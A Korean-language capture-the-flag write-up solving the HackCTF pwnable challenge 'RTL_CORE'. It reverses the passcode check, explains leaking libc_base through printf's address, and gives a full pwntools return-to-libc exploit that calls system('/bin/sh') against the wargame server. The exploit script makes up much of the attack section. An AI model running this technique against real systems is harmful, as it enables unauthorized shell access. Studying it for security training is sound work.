728x90

HackCTF는 여러 해킹 기법들을 공부할 수 있는 워게임 사이트로 주소는

https://ctf.j0n9hyun.xyz/

 

HackCTF

Do you wanna be a God? If so, Challenge!

ctf.j0n9hyun.xyz

오늘 풀어볼 문제는 HackCTF에 있는 포너블 분야의 문제로

RTL_CORE 문제입니다.

 

해당 문제는 문제 이름처럼 RTL 기법을 사용해야 풀 수 있습니다.

 

더불어서, PLT, GOT 개념을 정확히 알고 있어야 문제에서 주어지는 libc 파일을 활용해서

문제를 해결할 수 있습니다.

 

간단하게 설명하면,

ASLR 보호 기법이 적용되면, 라이브러리 함수 이용시 libc_base 주소가 무작위로 배치됩니다.

하지만, 함수 주소들 간의 offset은 변하지 않아서

특정 함수의 실주소를 찾고 offset을 빼주면, libc_base를 알 수 있게 됩니다.

 

저는 이와 관련된 개념들을 다음 사이트에서 자세히 배울 수 있었습니다.

https://bpsecblog.wordpress.com/2016/03/09/about_got_plt_2/

 

PLT와 GOT 자세히 알기 2 (with ‘yocto’)

이번 편에서는 Codegate 2015 본선 문제 였던 pwnable 분야의 ‘yocto’ 를 통해 PLT 와 GOT에 대해 자세히 알아보겠습니다. 과정이 조금 복잡하기 때문에, 보시면서 따라 해 보는 것이 이해 하는 데 조금

bpsecblog.wordpress.com


자 그럼 문제 풀이를 시작하겠습니다.

 

문제

접속 주소와 zip 파일을 제공합니다. 해당 파일을 다운받아봅시다.

 

파일 안에는 실행 파일과 libc.so.6 파일이 함께 들어있습니다.

 

실행 결과

서버에 접속해보면, 이렇게 패스코드를 입력받습니다.

 

보안기법

더불어, 적용된 보안 기법은 nx-bit로 문제 이름처럼 RTL을 사용해야 할 것처럼 보입니다.

 

코드 분석

어떤 구조인지 알기 위해서 IDA Pro로 열어봅시다.

 

main 코드

우선, passcode를 입력받아서, check_passcode 함수를 통해 나온 값과 hashcode 값

비교하는 구조를 가집니다.

 

hashcode에 담긴 값을 보면, 0x0C0D9B0A7입니다.

 

check_passcode 함수를 살펴봐야 hashcode와 일치시켜줄 수 있을 것 같아 보입니다.

check_passcode 함수코드

함수를 살펴보면, 인자로 passcode로 입력해준 값이 담긴 변수 s의 주소를 받습니다.

 

그리고, 주소 s에 0, 4, 8, 12, 16 바이트를 더한 주소 값에 담긴 값을 참조해서 v2에 더해갑니다.

 

즉, s 주소로부터 4바이트 더한 주소에 있는 값을 v2에 차곡 차곡 더해간다는 의미입니다.

 

다시 말해서, s주소로부터 4바이트씩 값을 5번 참조하여 v2에 더해준다는 것입니다.

 

5번에 나눠서 더하므로, hashcode 값인 0x0C0D9B0A7 5로 나누면

몫은 0x2691f021 나머지가 0x02 입니다.

 

즉, s에 0x2691f021을 네 번, 0x2691f021 + 0x2 = 0x2691f023을 한 번 넣어주면 됩니다.

 

 

다시 main 코드로 돌아가면

if문을 통과한 경우 &byte_8048840 여기에 담긴 값을 출력해주는데,

 

hex view로 보면, 

&byte_8048840

"코드가 일치하구나, 다음 단서를 던져주지"라고 쓰여 있는 것을 확인할 수 있습니다.

 

더불어, 실행되는 core 함수를 살펴보면,

core 함수 코드

memset 함수를 통해서 무엇을 하는지 정확하게는 모르겠으나, (버퍼 클리어와 비슷해보인다?..)

중요한 것은 dlsym 함수를 통해서 printf 함수의 주소를 v5에 넣고 그 주소를 출력해줍니다.

 

마지막으로 return 하면서 read 함수를 통해서 buf에 0x64 만큼 입력받는데,

buf로부터 sfp까지가 62바이트로 100바이트(0x64)보다 작습니다.

즉, bof 발생이 가능합니다.

 

자, 이제 어떻게 공략해야 할지 감이 옵니다.

 

우선, passcode 구간을 통과하게 되면, printf 함수의 주소를 얻을 수 있습니다.

 

printf 함수 주소와 printf 함수의 libc_base로부터의 격차를 빼서,

libc_base leak을 해내고, libc_base + system_offset으로

system 함수 주소를 찾고, /bin/sh 가 적혀있는 주소를 찾아

 

read 함수가 실행될 때,

buf에 sfp까지 더미로 채우고

이어서 system 함수 주소 + 더미 4바이트 + 인자로 ("/bin/sh")주소

를 넣어 주면 RTL이 발생해서 쉘을 딸 수 있을 것입니다.

 

이를 바탕으로 페이로드를 작성하면 다음과 같습니다.

from pwn import*
context.log_level = "debug"  # 들어간 값을 볼 수 있어서 페이로드 오류 찾기에 좋습니다.(첨 알게 됨!)
p = remote("ctf.j0n9hyun.xyz", 3015)
e = ELF("./rtlcore")
libc = ELF("./libc.so.6")

printf_offset = libc.symbols['printf']

system_offset = libc.symbols['system']



p.recvuntil("Passcode:")

payload1 = p32(0x2691f021) + p32(0x2691f021) + p32(0x2691f021) + p32(0x2691f021) + p32(0x2691f023)
p.sendline(payload1)

p.recvuntil("0x")
printf_address = int(p.recv(8), 16)
log.info('printf_address: 0x%x' %printf_address)

libc_base = printf_address - printf_offset
system_address = libc_base + system_offset
log.info('system_address: 0x%x' %system_address)

binsh = libc_base + list(libc.search("/bin/sh"))[0]
log.info('binsh: 0x%x' %binsh)

payload2 = "a"*66

payload2 += p32(system_address) + "a"*4 + p32(binsh)

p.send(payload2)

p.interactive()

페이로드 해설

우선, payload1에서

hashcode와 동일한 값을 얻게 만들기 위해서

0x2691f021을 네 번, 0x2691f021 + 0x2 = 0x2691f023을 한 번 넣어서 입력합니다.

 

payload1이후에

passcode를 통과해 얻은 printf_address 값을 이용해서

printf_address - printf_offset으로 libc_base를 얻고,

libc_base에 system_offset을 더해 system 함수의 주소를 얻습니다.

 

더불어, 인자로 사용할 "/bin/sh"가 저장된 주소를 얻기 위해

list(libc.search("/bin/sh"))[0]으로 격차를 얻고, libc_base를 더해서 저장된 주소 binsh를 얻습니다.

 

 

공격에 필요한 system 함수 주소와 인자 "/bin/sh"를 얻었으므로,

공격하기 위해서

 

payload2를 작성하는데,

 buf에서 sfp까지 총 66바이트를 더미로 채우고,

ret 부분에 system 함수 주소

4바이트 더미

인자로 /bin/sh 가 담긴 주소를

넣어서 RTL 기법을 사용합니다.

 

해당 페이로드를 실행시킨 결과,

플래그 얻기

위와 같이 플래그를 얻을 수 있습니다.

 

 


생각보다 문제를 푸는데 오래 걸렸는데 += 실수를 발견하지 못해서 너무 오래 걸렸다..

다음부터는 페이로드 작성할 때, 꼼꼼하게 살펴봐야겠다.

 

더불어, plt와 got 개념을 확인해보기 위해서 직접 gdb로 뜯어보는 시간을 가지면

굉장히 좋은 경험을 할 수 있을 것 같다.

 

728x90